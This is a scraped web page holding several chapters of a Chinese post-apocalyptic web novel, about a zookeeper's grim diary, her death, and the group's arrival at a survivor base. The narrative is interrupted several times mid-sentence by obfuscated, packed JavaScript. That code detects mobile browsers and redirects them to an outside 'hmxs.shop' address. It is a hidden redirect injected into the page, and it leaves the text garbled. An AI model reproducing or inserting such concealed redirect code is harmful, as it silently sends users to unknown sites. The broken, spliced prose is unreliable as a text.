RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938665|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的枪管无声举起。 霍不予若无其事的扭了下脖子，懒洋洋靠在楼梯口。随着他这点微小动作的改变，花国盛和叶只秋被露了出来。 “砰！” 闷闷的破空声响起，一只注射器飞速射来。 叶只秋：“！！” 虽然她心里早有准备，但真正面对时，才发现麻醉枪射击的速度如此之快。快到即使脑子有了反应，身体也完全跟不上指挥。 算了，不就是多睡几天嘛。 危急关头，小叶同志放弃的很快。 紧跟着，她眼前一黑。伴随着‘噗’的一声闷响，注射器扎入皮肉——龙哥倒了下去。 叶只秋看看地上的大汉，又看看用完人就松手的霍不予，万分诚恳：“谢谢。” 不、不用谢…… 被瞬间拽过来挡‘枪’的龙哥，昏迷前只有一个念头：原来不站最前面，也会当肉盾…… 同一时间，霍不予手腕一甩。 刚才还被叶只秋攥在手里的打火机已经飞了出去，它如同飞镖一般，360°旋转着砸向注射剂来的方向。 “咣！——哐当！” 角落里传来清脆撞击声，紧接着是人倒地的声音。小火机完美完成任务。 花国盛率先冲了上去，他拨开一堆杂物箱。 一个身穿动物园工作服，满脸是血的女人躺在地上。麻醉枪掉到旁边，显然是刚才还没来得及换动作，打火机已经撞了上来。 因为力道太大，枪柄怼到脸上，把人怼晕了。 叶只秋：“……” 妈呀，霍大佬这手劲。 花队长在女人鼻下颈侧简单检查了一番，抬头：“还活着，应该只是暂时晕过去了。” 将枪收到手中，花国盛看向叶只秋：“小叶，你来，找找有没有有用的信息。” 叶只秋点头，最后在对方衣兜里翻出一个巴掌大的本子。 打开，扫了两眼，发现竟然是日记。 3021年6月。 上个月和我一起救助野生动物的男生，原来是理工科博士。没有想到专业差距这么大，我还以为他也是学兽医的哈哈。 3022年11月 丁辰突然跟我表白了。天啊，他竟然说希望和我一起开个动物园。 3025年2月 我们救助了一只小雪豹回来，太可怜了。它摔断了脊椎，饿的只剩一层皮，连叫都叫不出声了。 3025年7月 小东西恢复过来了，开始学着捕食。它有点笨，不会咬兔子。今天丁辰和我求婚了。糟糕，有些紧张，没想什么就同意了。哈哈，是不是应该为难他一下？ 3028年1月 外面不太对劲，所有的一切都不太对劲。 丁辰把我们的动物园做了彻底改造。他买了很多奇怪的东西回来。我觉得现在自己像是住在什么铜墙铁壁中。 3030年2月 我有孩子了……末世也已经两年了。即使当初做了很多准备，我们的生活还是变得越来越差。 丁辰说要出去想想办法，他希望我们的孩子出生时，可以有更好的条件，起码能吃上东西。 3030年4月 一个月了，丁辰没有回来…… 3030年5月 丁辰没有回来…… 3030年6月 没有。 3030年7月 没有。 3030年…… 没有……没有……没有…… 18. 兽性与人性 本子上是越来越凌乱的字迹。 ‘没有’两个字占据了众多篇幅，叶只秋甚至从笔画里，看到一个女人短短几个月，从期望到沮丧又到心死再到疯狂的一系列过程。 她抿了抿唇，接着往后翻，本子上有了新的内容。 3031年7月 小札要开始吃辅食了，可是动物园里根本没有东西。我的奶水也越来越少……不行，必须补充营养。 末世来临时，我们准备了很多麻醉剂，要用了吗？ 3031年9月 我不想杀它们，这个动物园每一个角落都有我和丁辰的记忆。但是，我是一个母亲，我必须让小札健康的活下去。 3031年12月 飞禽馆已经空了，我看着没有生气的笼子，心里好像被挖了一块。我需要它们活着，也需要自己活着…… 3032年1月 我割下了羊驼的一条后腿，并给它做了缝合手术。我们都活着，真好！ 3032年4月 冷库里冻满了各种动物的后腿、尾巴，分量足够我吃几个月。食物充足了，我应该高兴…… 小札开始学我说话了，他越来越爱往房间外面爬。我要怎么办？ 3032年6月 我把动物园所有指示牌都做了修改，涂掉了它们的后半身。 今天带小札出去，他第一次摸鹿，笑了。真好，我留住了和丁辰一起建立的动物园，虽然它们已经变了样子…… 3033年2月 小札问为什么我们有腿，其他动物只有胳膊？ 他明明从未见过正常的世界，却还是产生了疑问。等他再大一点，肯定能发现更多问题，比如缝合线，比如伤疤，比如我不舍得销毁的照片…… 看来在他长大之前，我要处理掉这里的一切。 3033年4月 麻醉药剂快用完了，除了食草动物，我把剩下的全部关在了一起。谁能活到最后，尊重自然的选择，弱肉强食才是规律。 我会亲手毁掉这个动物园，让所有封存在记忆里。小札不会记得这一切，我会护着他长大。 3033年5月 冷库空了，需要补充。我打开了动物园大门，会有什么进来呢？ 羊：1、0、0……0……2……0、0……来了，7只！ 叶只秋翻到最后一页，潦草的笔记是个大大的阿拉伯数字——‘+3’。 众人再傻，也明白了数字意味着什么。 “咱们。”狱服大汉吞了口口水，道，“还是快点找开门的方法吧，我想出去……” 叶只秋合上本子，看向女人。 日记里说这个动物园是被改造的，加上花队长几人进熊猫馆时，锁门时间极其精准。她怀疑女人身上，藏着类似主控制器的东西。 刺啦—— 突然身后传来纸壳挪动的声音。 众人回头。 刚才安安静静摞在一起的纸箱轰然倒塌，紧跟着你推我挤缓慢移动起来。 这种怪异的样子，让所有人心底发毛。 叶只秋抿了抿唇，盯着移动的纸箱看了十几秒后，起身走了过去。 掀开第一个，空的……继续掀，空的……直到最后，翻开小腿高的箱子，一个粉琢玉砌的小孩出现在眼前。 他抬头望着叶只秋，眼中满是疑惑，似是不太明白怎么突然出现了陌生人。 小孩爬了两步，嘴巴含糊不清：“捉、猫猫~” 叶只秋蹲下身，轻声道：“丁小札？” 按照日记里的时间推测，小孩应该三岁左右。他身上穿着和女人材质相同的工作服，能看出是用心剪裁过的，很合身。 小孩身上沾了灰，除此之外干干净净。肉乎乎的小脸更是泛着粉，一双眼睛澄澈清透。他长得像bjd娃娃一样，和躺在旁边满脸是血、骨瘦如柴的女人没有半分相似。 丁小札看到叶只秋完全不认生。 反而笑嘻嘻的扑了上来，嘴巴里嘟囔着：“猫猫，抓！抓！” 叶只秋手足无措的接住小孩：“……” 她完全不会逗孩子，看到好看的幼崽，只停留在手机上刷一刷。 但此时肢体的僵硬，不单纯是因为不知道如何与孩童相处，更多的是日记本里那个一连串的故事，因为丁小札的出现，让所有文字都有了真实的依托。 叶只秋似乎真的看到那个曾经心地善良、会去救助动物的女人，为了活下去，一次次割去圈养动物的后腿。后来因为担心怪异的动物吓到孩子，选择让它们自相残杀，摧毁一切。 她的兽性被激发出来，人性却只留给了孩子。 “放开他！！” 突然，身后传来嘶哑的厉喝声。 众人回头，只见刚才昏迷的女人此时已经恢复意识。 她坐起身，眼神凶戾的盯着众人。手中拿着根劈叉的木棍，棍子尖端抵在一个狱服大汉太阳穴上。 “把我儿子还给我！” “冷静，冷静！！” 大汉僵着脸，感受着对方疯狂震颤的手臂，恨不得帮女人拖着。以亲身体验来看，他严重怀疑再过几分钟，自己太阳穴就要被钻木取火了。 “别动。”察觉到大汉想动，女人手臂往下压了压，木刺把太阳穴戳出浅浅凹陷。 叶只秋站起身，五指并拢，做了个请看的姿势，示意腿下。 丁小札正流着口水，傻笑抱着她。 叶只秋：“到底是谁不放开谁？” 女人一哽：“……” 盯着儿子看了几秒后，她换了种极其温柔的声音：“小札过来，到妈妈这里。” 丁小札听到声音抬头，看到女人满是鲜血的脸。怔愣片刻，突然咧嘴大哭。 女人瞬间焦急，抵着木棍的手猛然使力：“你们退出去！” 周围无人动弹。 女人：“？” 人质大汉哭丧着脸，觉得自己脑仁要被戳出来了：“大姐，瞅着楼梯门口那个晕的了吗？” “那是我们老大……老大都没人管，你用我威胁不了别人！你抓人质抓错了，我是个没有用的……（T-T）” 女人：“……” 攥着木棍的手又往下戳了几分。 花国盛上前一步：“我们不打算用孩子威胁，希望你能把大门打开，让我们出去。” 顿了顿，他又补充道：“你也可以试着离开，带孩子去平安基地。如果有需要，我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948209|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以给你画个简易地图。” “对对对，我们也要去平安基地。”人质大汉附和，“大姐，你放了我吧。将来没准路上还能搭个伴儿。” “谁要和你搭伴！”木刺在大汉脸上刮出一道血痕，女人看向花队长：“你说的是真的？” 花队长不知道她问的是哪句，但回忆了一下，每句都可以兑现。于是点点头：“真的。” 女人举着木棍的手缓缓放松，虽然还是抵着大汉，力道却明显减弱。 她看向花国盛：“桌子下面第二个抽屉有纸笔，你先把地图画出来。” 花国盛：“……好。” 虽然不太明白女人为何突然着急，但只要对方愿意松口就好。 花队长走向桌子，擦肩而过时，口中不忘安抚：“我们不会伤害你的孩子……” 话说到一半，突然一个黑影撞击而来。 半秒钟前，听到女人愿意交易，人质大汉刚松一口气，便感觉后腰被剧烈一顶。他整个人重心不稳，向旁边栽去。手本能抓向花队长。 同一时间，女人蓄力爆冲，从花国盛那里抢过麻醉枪，动作流利，上膛瞄准。 花队长扶住大汉的瞬间，感觉到一个冰凉的东西顶在后脑上。 女人将自己的身形完全隐藏在花国盛身后。 她嗓音沙哑：“既然人质不对，那我换一个。除了那个女孩，所有人过去。” “我枪里现在装的不是麻醉，是空包弹。虽然里面没有火药，但以这种距离，足够脑袋开花了。所以你们最好不要轻举妄动，以防我不小心手抖。” “好！”大汉们爽快答应。 他们一溜烟挪到指定位置，走的时候还不忘拖上倒地的龙哥。 唯一没动的只有两个人。 被丁小札抱腿的叶只秋，还有懒洋洋站在旁边的霍不予。 女人此时才发现，自己一直没有注意到那里还站着个黑衣男人。 这倒不能怪她。霍不予震慑凶兽的时候，没有发出多大动静，加上本就站在二楼窗户下，是个死角。女人意识到下面不对，却并不知道具体怎么回事。 后来大门被毁，她知道发生了变故，藏好儿子后躲避起来。最开始上来的是花国盛和狱服大汉，女人理所当然认为是这些人撬的门。 再后来，听到对方要点火，担心伤到小札，她射出麻醉，还没来得及调整，就被枪托砸晕。 阴差阳错下，她竟是第一次注意到霍不予。 对面的男人一脸冷漠，似乎根本不在意花国盛死活。他斜靠在墙上，恍若局外人一般看着眼前闹剧。 两人对视的一瞬间，女人握枪的手莫名一抖：“……” 不对，自己为什么会害怕？ 压下心中困惑，女人说道：“我叫毛婉瑜，先把孩子还给我。” “这所动物园是我最后的底气，我不能暴露控制点。” “你们如果想出去，就排成一队，蒙住前面人的眼睛，听我指挥。我会分批把你们送出去。” 狱服大汉们对视片刻，依言照做。 叶只秋抱起丁小札，向女人走去。还差几步距离时，她突然开口问道： “你真的会送我们出去，而不是带大家进冷库吗？” 19. 托孤 “你说什么？” 毛婉瑜沙哑的声音不自觉扬高，她像是被戳中了心事一般。没来及掩饰的音调，让所有人都意识到不对。 花国盛反应过来，沉声问道： “你根本不打算放我们出去，而是想要把大家当做笔记里的‘羊’处理。” “是又怎么样。” 毛婉瑜见自己被戳破，不再遮掩。 她根本不想去什么平安基地，只有这所动物园才是她真正的归宿。她要在这里等着，等小札长大，等丁辰回来。哪怕动物园已经面无全非，这里依然是她唯一的选择。 她握枪的手紧了紧。这里有八只，外面还有两只，其中一只已经被麻醉打晕。一共十只‘羊’，只要自己把他们全部拿下，未来几个月的食物不是问题。 有了这一次，以后还会有更多食物出现。 毛婉瑜目光落在丁小札懵懂的脸上：没事，儿子年纪还小，他不会记得的。只要告诉他，之前是做了一个梦，他会忘记发生的一切，继续和妈妈住在动物园中…… 手指顺着枪身上移，伴随着‘嘎哒’一声响，毛婉瑜掰下保险栓。 “我本来不想闹多大动静的，但你们敬酒不吃吃罚酒，就别怪我心狠手辣了。” 话音落下，空包弹没有任何迟疑的打向花队长。 紧接着，叶只秋看到毛婉瑜向自己扑来。 她一手拿枪，一手伸直：“小札，过来！到妈妈这儿。” 叶只秋猛地后退，拉开距离。 毛婉瑜瞳色冷了下去，举枪指向叶只秋。 下一秒，一个狱服大汉凌空飞来。毛婉瑜被对方撞得踉跄后退，抵在墙上才勉强稳住身形。她抬手便是一枪，大汉倒地。 对面，叶只秋站在原地。 霍不予一手插兜，另一只手扭了扭手腕。幽冷的声音传来：“玩游戏的时候，要公平。” 毛婉瑜瞳孔微缩：“什么？” 狱服大汉们挤做一团，生怕下一秒被扔出去的是自己。 叶只秋担心的看向倒地的花国盛：“花队长没事吧？” 霍不予：“应该死不了。” 顿了顿他又接着问道：“你的小榔头呢，刚才他们没还给你？” 众大汉身上一冷：？？？ 哈？你们仨不是一伙的吗？大哥啊，长官都要看着不行了！你怎么还惦记着小叶的榔头不见了…… 还有被当做肉垫扔出去的二号。大汉们看看晕死的一号龙哥，不约而同达成认知： 霍小哥好像有点双标，还是能要命的那种。 毛婉瑜直直盯着霍不予，此时她终于意识到对面的男人有些厉害的超出常规，但疯狂已经占据了她所有理智。 丁小札的哭声断断续续传来。 毛婉瑜有些着急，她举起枪：还剩最后一颗空包弹，她要先把儿子抢回来。 面对黑洞洞的枪口，霍不予面色冷淡，他余光瞟向众大汉。 虽没有什么大动作，但眼神透露出的意思很简单：下一个扔谁顺手？ 狱服大汉们：………… 一时分不清人身威胁来自哪边？ “砰！” 原本对着霍不予的枪口突然偏移，在发射前转向了叶只秋。伴随着破空声，子弹飞速靠近。 霍不予眉头锁起，随手拽过一个大汉挡在叶只秋和丁小札身前，紧跟着扔出第二人。 毛婉瑜来不及反应，已经被同样的招数二次击中。她砸在窗户上，玻璃碎裂，干瘦的身体腾空飞出。 霍不予扭了扭手腕：“不自量力。” 转身，狱服大汉只剩下一人站在原地瑟瑟发抖。 环顾了一圈横七竖八的兄弟们，他犹豫了几秒，一套反方向鲤鱼打挺，和龙哥并排躺平。 叶只秋：“……” 腿边，丁小札不知道是不是感应到什么，哭的停不下来。他牢牢拽着叶只秋裤腿，不愿放开。 叶只秋长叹一口气。 一念成佛一念成魔，算了，先当一会儿佛吧。 犹豫了几秒后，她抱起丁小札，转身向楼下走去。 霍不予微一挑眉，似是有些诧异。 熊猫馆一楼。 毛婉瑜蜷着身子躺在地上，她身上满是血腥味。 之前躲起来的凶兽在霍不予离开后，早已钻出来，开始了第二波厮杀。如今场地中央突然掉下个人，它们犹豫了几秒后，全都迅速围了上去。 叶只秋下来时，首先听到的就是骨骼被咬碎的声音。 她一时怔愣在原地，脑子还没有开始思考，手已经将丁小札调整了下方向，让他背对凶兽群。 毛婉瑜仰着头趴在地上，她身后围着数只凶兽，皮肉被一块块撕扯下去，大片大片血渍流出。 毛婉瑜被鲜血浸湿的眸子直直盯着门口，她看到叶只秋抱着抽泣的丁小札出现，费力抬起手臂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948843|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶只秋：“……” 她半蹲下身，刚要把丁小札放在地上，突然听见毛婉瑜用气声哀求：“不要。” 她望着叶只秋，摇了摇头，终究还是放下高抬的手，选择了放弃。 毛婉瑜看着周围只有半个身子的野兽们，眼中的冷漠疯狂随着生命流逝一点点褪去。 她张了张嘴，再次看向叶只秋。 短暂的对视后，叶只秋轻轻捂住了丁小札的耳朵和眼睛。 毛婉瑜露出一个笑容。 “谢谢你。” 她被野兽拖拽着后移，指甲死死扒在地面上。 “不要告诉小札这一切，如果他问，就说妈妈在和他玩捉猫猫，等他长大，妈妈就会出现。” “对不起，我没有能力为他留下一片净土。还差点走错害了别人。” “请不要告诉他这一切。” 毛婉瑜指了指颈侧。 “你们要找的控制器，就是小札脖子上带的平安锁。” “熊猫馆二楼还有一点吃的……其他地方什么都没有……千万、千万不要带小札去冷冻室。” “我知道现在提出请求很过分，但是求你，求你们送他去平安基地。” “我唯一的愿望，只是他能健康长大……” 对着那双泣血的眸子，叶只秋顿了很久后，缓缓开口： “我无法向你保证，但会尝试一下。” 得到这句回复，毛婉瑜像是终于松了一口气。 “谢谢……谢谢你……” 她扒着地板的手指卸力，整个人瞬间被野兽群拉扯吞没。 叶只秋站在原地，心情很复杂，不知道如何形容自己的感受。 一个刚才想杀自己的人死在自己面前，临死前对方又把最重要的东西托付给了自己。 “我以为你会招聘她。” 霍不予掺着冰碴的声音自叶只秋身后响起。 叶只秋回神，摇摇头：“我可不是圣母，也没有自虐的癖好。毛婉瑜刚才差点杀了我诶！！” “哦，这样吗，那这小孩你打算怎么办？”他眼皮抬了抬，看向凶兽群，“它们应该还没吃饱。” 叶只秋睁大眼睛：“！！” 霍不予眼底划过一道戏谑。 “或者可以把他交给我。”他轻笑着露出一颗尖牙，“我也很久没吃东西了。” 叶只秋惊悚脸。 兔兔立耳！ 20. 平安基地 叶只秋按照毛婉瑜遗言，找出二楼食物，大家靠着补给过了两天。龙哥和阿奇麻药过去，重新苏醒。 这两日，花队长担任了带丁小札的重任。 叶只秋在旁边看着，虽然不太确定是看娃还是看霍不予。 毕竟霍大佬那句‘很久没吃东西’过于吓人，小叶同志很怕一眨眼，丁小札变成刺身了，只得时不时巡逻一趟。确定幼崽没有缺胳膊少腿后，又悄咪咪拉开距离。 她这种晃来晃去的样子，反而让丁小札很喜欢粘她。 叶只秋苦恼：拒绝三连！ 休整了两天，几人商量，最后选择一起去平安基地。 一来G市已经没有什么物资了；二来需要给狱服大汉和丁小札找个落脚地；三嘛，便是因为系统逼着人挖墙角—— 叶只秋盯着脑内巨大的24小时倒计时，长长叹出一口气。 她坐在小皮卡后座，看着接连弹出的消息： 【请宿主尽快完成第三名员工的招聘任务！】 【倒计时不足二十四小时，若招聘失败，账号会封存哦！~】 难得想要积极完成任务，谁知到头来还得压线。 “花队长，平安基地是个什么样的地方？”叶只秋好奇问道，心中暗忖，不知道那里会不会多一些合适的候选人？ 花国盛开着车，思索了几秒，开口答道：“我也没有去过，末世后一直留在这边，转移群众时听大家说平安基地是离我们最近的一个基地。” “好吧。” 没有得到想要的答案，叶只秋缩回座位。丁小札慢吞吞爬了过来，往她身边一靠，像个小狗一样将自己团了团，窝着不动了。 小皮卡在高速路上行驶，叶只秋透过车窗向外看去。 不知道是这边人烟稀少，还是什么其他原因，路上虽然偶尔停泊着车辆，但没有像很多末世电影里那样形成堵塞。甚至单看连绵的土红色大山，根本察觉不出这里是末世。 叶只秋莫名想起一句很老的话：地球不会灭绝，灭绝的只会是人类。 衰败的景色快速后退，城市的剪影逐渐显现，一路顺利到达平安基地范围。 突然，伴随刺耳刹车音，小皮卡停下。 花国盛尝试发动了几次都以失败告终，他蹙眉宣布：“没油了，我们得下车。” 叶只秋：好吧，果然不能太乐观。 推开车门，环视周围。 平安基地所在的S市明显比G市繁华很多。同样是郊区，G市只有零零散散的木屋，这里却已经出现商场和各种林立的高楼大厦。 狱服大汉们从车斗后跳下，围了过来。 “长官，咱接下来怎么办？” 花国盛思考几秒，给出建议：“我们可以分成两队，一部分去商场里看看有没有遗漏的食物，一部分找找周边是否有汽油。” “平安基地在城市的另一边，二十多公里我们单纯靠走路的话，起码要六七个小时。” 本以为接下来就是兵分两路收集物资，谁知分队反而成了困难。 “小叶呀，你不要抛下我们。” “长官现在要抱孩子，霍小哥要腾手对付可能出现的危险，你一个女孩子更搬不了多少东西……” “到时候万一找到很重的物资或者汽油，怎么拿呀？！” “对对对，还是一起比较保险！！” 叶只秋看着围在自己身边，看似劝解，实则可怜巴巴偷瞄霍不予的一众大汉。 其实不太可能找到很重的物资，不过……她略有些迟疑的眨巴了下眼：“那就一队吧。” 龙哥激动：“小叶，你太好了！” 大汉们齐声附和：“太好了！” 他们彼此对视一眼，肯定的点点头：原来抱大腿的正确姿势是这样！ 于是一行人浩浩荡荡，开始扫街。 进入商场，叶只秋发现S市的繁华只停留在表面，或者说已经被瓜分殆尽，放眼望去一片狼藉。 不要说有用的东西了，没用的都看不到几样完整的。 商场内像是经历过大战一般，内部的栏杆残破不堪，地板更是塌陷下去，露出扭曲变形的钢筋骨架。 上面曾经透明的星空房顶已经碎裂，巨型玻璃参差不齐，锋利的边缘像怪兽长满獠牙的大嘴。 叶只秋仰头，呜呜的风声灌入商场。 狱服大汉们挤在一起：“咱要不出去吧，这里看着不太对。” 被他们这么一说，叶只秋心里也莫名开始发毛。与此同时，刚才还乖乖的丁小札突然在花国盛怀中大哭起来。 叶只秋：“！！” 都怪以前看了很多奇怪的东西，她最怕的就是宠物对着空无一物的地方叫唤，小孩突然大哭。 沙沙——沙沙—— 极其细微的声音自商场深处传来。 叶只秋睁大眼睛，默默挪到霍不予身后，花队长抱着孩子也退后一步，众大汉们更是驾轻就熟。 短短几秒，一只形似老鹰捉小鸡的母鸡队伍已然成型。 叶只秋紧张的拽着霍不予后腰衣角。 被动成为‘母鸡’的霍不予，他抬起胳膊，从肘下看着一脸严肃的小豆丁：“……” 叶只秋警觉：“是丧尸吗？” 她看向霍不予，真心求问：“大佬，换了个城市，强龙能压地头蛇不？” 还不等霍不予回答，突然—— “咻！咻！咻！” 伴随着破空声，几道白芒划过，紧接着飞来的东西撞在地上，接二连三的响声过后，火花炸开，坍塌的地板碎块和灰尘四下迸溅。 叶只秋矮身躲避，她捂住口鼻，后知后觉得出结论： 丧尸会放窜天猴了？！ “游哥，好像不是。”一个年轻的声音自黑暗中传来，接着是一连串沉重但频率很快的脚步声。 与此同时，叶只秋脑内传来系统提示音： 【滴！】 【检测到宿主还未完成三日招聘任务。】 【当前候选人已满足十人。为了帮助宿主更好完成挑选，本次招聘系统开启新功能试用。】 叶只秋还没有反应过来，她眼前已经浮现出一个悬空扫描框。 接着，一个浑身上下包裹严实的青年从黑暗中跑来，他看到几人后一愣，扬声喊道：“游哥，这里有好几个活人！” 随着他的召唤，又有几个同样打扮的人走出来。 叶只秋看向对面几人，发现只要自己将视线集中在某个人身上，他脑袋顶上就会多个字母。 花国盛和霍不予身上没有。 狱服大汉们是参差不齐的‘C’和‘D’，最开始出现的黑衣青年是‘B’，后来的那个游哥是‘B+’，最差的当属丁小札，幼崽顶着个大大的‘F’哭的脸皱成一团。 叶只秋：这是分级？ 系统：【根据每个人的基本扫描情况，为候选人进行评级规划。宿主可以以此作为参考，提升招聘效率！】 “你们怎么会在这儿？编号多少？哪一队的？” 游麓皱眉看着眼前几人，他目光扫过叶只秋，停留在丁小札身上后，瞬间反应过来：“其他城市过来投奔的？” 花队长：“对，我们想要去平安基地。” “啧。”游麓轻嗤一声，在花国盛和几个狱服大汉身上扫过，扭头向身边人问道，“章序，你们那车可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975441|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以腾出几个座位？” 一开始来的黑衣青年猛地站直，想了几秒后回答：“四个。” 游麓颔首：“我们车三个。” “听到了吗？”他看向几人，“一共七个座位，选出人来跟我们走。” 顿了顿，他又补充道：“不要小孩和女人。” 花队长蹙眉：“什么意思？” 游麓：“没什么意思，我的车只有这么多座位。” “那能不能借我们一点汽油。”叶只秋听出对面话中有话，她直接跨过这个话题，“他们七个上你的车。我们有车，可以不占座位。” 游麓：“……” 章序凑到他耳边，小声开口：“游哥，今天咱们收益不高，另外两个人也可以算积分。要不借他们一些油吧。” 游麓目光落在花国盛和霍不予身上，随后看向叶只秋。 他咧嘴一笑：“行。” 转身出商场，同叶只秋擦肩而过的瞬间，游麓突然开口说道：“其实你们过去也是白费力气，不如就近找个庇护所。” 叶只秋：什么意思？ 本以为后面会受到游麓刁难，谁知他借汽油十分爽快。 不多时，三辆车已经行驶在去往平安基地的路上。和前面的越野装甲车比，叶只秋他们这辆皮卡像个玩具一样跟在后面。 一路颠簸，又过了约莫一小时，车速逐渐降了下来。 叶只秋坐直身体，向外看去。 废旧的车辆残骸如同护城河一般，隔出几条障碍带。往里是拔地而起的金属高墙，高墙并非一体浇筑，而是由钢筋水泥、废旧集装箱等乱七八糟的残骸，拼接改造而成。 围墙上布满射击孔和探照灯，墙头上缠绕着带刺铁丝网。 随着游麓的车辆靠近，城墙内确认了身份后，一道沉重的闸门缓缓开启。装甲车直接开了进去，花队长紧跟其后。 进入门内，叶只秋才发现平安基地建在一座山上。 高大的金属围墙像是螺旋蜗壳一般，一层层环绕向上。与其说他们进入了平安基地，不如说他们驶入了围墙夹缝中。 往里开了十来分钟，新的一道闸门出现。 游麓下车，同门口的人说了什么后，他们点点头，转身离开。 过了一会，一个拿着本子的男人走出闸门。 他看起来三十来岁，衣着和游麓类似，却套了个白大褂在身上。脸上挂着和煦笑容，整个人看起来亲和力十足。 他一边同游麓交谈，微笑着扫过三辆车，一边从兜里掏出本子和笔，记录着什么。 不久后，男人走到小皮卡旁，轻轻敲响车窗。 他浅色的瞳孔透过玻璃看向四人，目光扫过叶只秋和丁小札时没有任何变化。 男人礼貌的介绍道：“你们好，我叫候煦阳，欢迎来到平安基地。” “进入基地需要先跟我去登记，做个简单评估。麻烦大家配合一下。” “评估结束，才能确定各位可以进入基地第几层？以后担任什么样的职务？每日能领到多少积分……” 侯煦阳不急不缓的解说着。 叶只秋愣愣的看着他：“哦。” 在新功能的作用下，青年脑袋上正标着个大大的‘A’！ 脑内是系统的加粗提示： 【发现A级人才。】 【体力、脑力均为上等！！】 【希望宿主抓住机会，尽快完成第三名员工招聘任务！！】 霍不予看着发愣的叶只秋，幽暗的眸子中附上一层冷意。 他偏头看向侯煦阳，嘴角噙笑： “不知道要怎么评估，听起来有点意思，你要一起吗？” 21. 平安基地（二） 侯煦阳一愣，随后露出个浅笑： “部分项目需要的话，我会给各位做下示范。” 待众人下车，侯煦阳领着他们走进闸门。小皮卡被游麓队伍的人接手，开进基地。 叶只秋目光跟着小车移动了几米后，突然听到侯煦阳说道：“你们的车暂时先停去A区，后面如果考核成功，有出去需求，基地会重新分配越野装甲。” “毕竟……”侯煦阳顿了顿，笑吟吟道，“你们的车如果遇上丧尸，太危险了。” 狱服大汉们满脸感动，这就是拥有组织的感觉啊！ “对了，你们是从哪里来的？” 侯煦阳看看几人，补充道：“除了末世头两年，我已经很久没有见过自己开车找来基地的人了。” 狱服大汉们齐齐开口：“G市。” “G市？”侯煦阳迈开的脚步突然一停，他略有些诧异的回头看向几人。 叶只秋：“怎么了？” “啊，没事。”侯煦阳回过神来，他推了推鼻梁上的眼镜，恢复一开始笑吟吟的模样。 “G市现在怎么样了？我们已经很久没有见过从那边来的人了。” 花国盛疑惑：“G市离S市很近啊，怎么会呢？” 侯煦阳语气和缓，一针见血：“您不是从G市出来的吧。” 花国盛：“嗯。我之前一直待在萨喀。” “怪不得。”侯煦阳点点头，“G市离S市虽然比萨喀近很多，但因为海拔骤升，和我们这边情况差距很大。” “之前那边的丧尸很多，我们派出过搜寻队，死伤严重，根本进入不了。再后来，外出小队巡逻的时候，基本不会去那里。” “G市在大家眼中，相当于一座死城。” 侯煦阳的声音随着诉说逐渐低沉。 狱服大汉们目瞪口呆：“……” 叶只秋同样诧异：“！！” 那座看起来状况比S市好很多的小城，之前竟被归类到死城。 花国盛：“我最近几日才有机会去G市，那边丧尸比萨喀少，攻击力也不算强。” 侯煦阳点点头：“倒是没想到G市有了改变，我得和外出组那边同步一下。” “若是寻找资源范围扩大，基地有了收获，各位都可获得积分贡献。” “积分？”叶只秋歪头。 “哦，对了。我还没有给你们介绍基地情况。” 侯煦阳带着众人拐进一间屋子，随后笑着从兜里掏出个平板。 叶只秋眨巴下眼，原来基地里面是有电子设备存在的。 “每个人通过评估加入基地后，会拥有初始积分。等级不同，积分不同。” 侯煦阳看向花队长：“比如曾经接受过训练，初始积分很可能达到200点。” “随后，基地会根据每个人能力分配不同岗位。完成岗位任务，获得每日积分。” “拥有积分后，可以用来购买生活所需。比如住宿、食物、药品……” 侯煦阳点亮平板，一张张图片展现在众人面前。 摆着单人床的规整小房间，统一干净的制服，成桶排列的纯净水，形似校园食堂、热气腾腾的大锅饭…… “哇！！” 狱服大汉们两眼放光，随着侯煦阳指尖划动，每出现一张新照片，他们都兴奋的叫一声。 花队长目光微凝。 他表现的虽然没有狱服大汉们那么夸张，却明显能看出也有些激动。 在末世苟活的几年，所有人都知道有个稳定的住所，有口干净的水喝，是多么难得。 花国盛看向叶只秋：“小叶，你觉得呢？” 叶只秋歪头。 她本来想着送狱服大汉和丁小札到平安基地后就离开，但现在看到图片，不免有些心动。 叶只秋物欲不高，若是能有个地方让她窝着做米虫最好不过。 而且，这里应该有很多人吧。 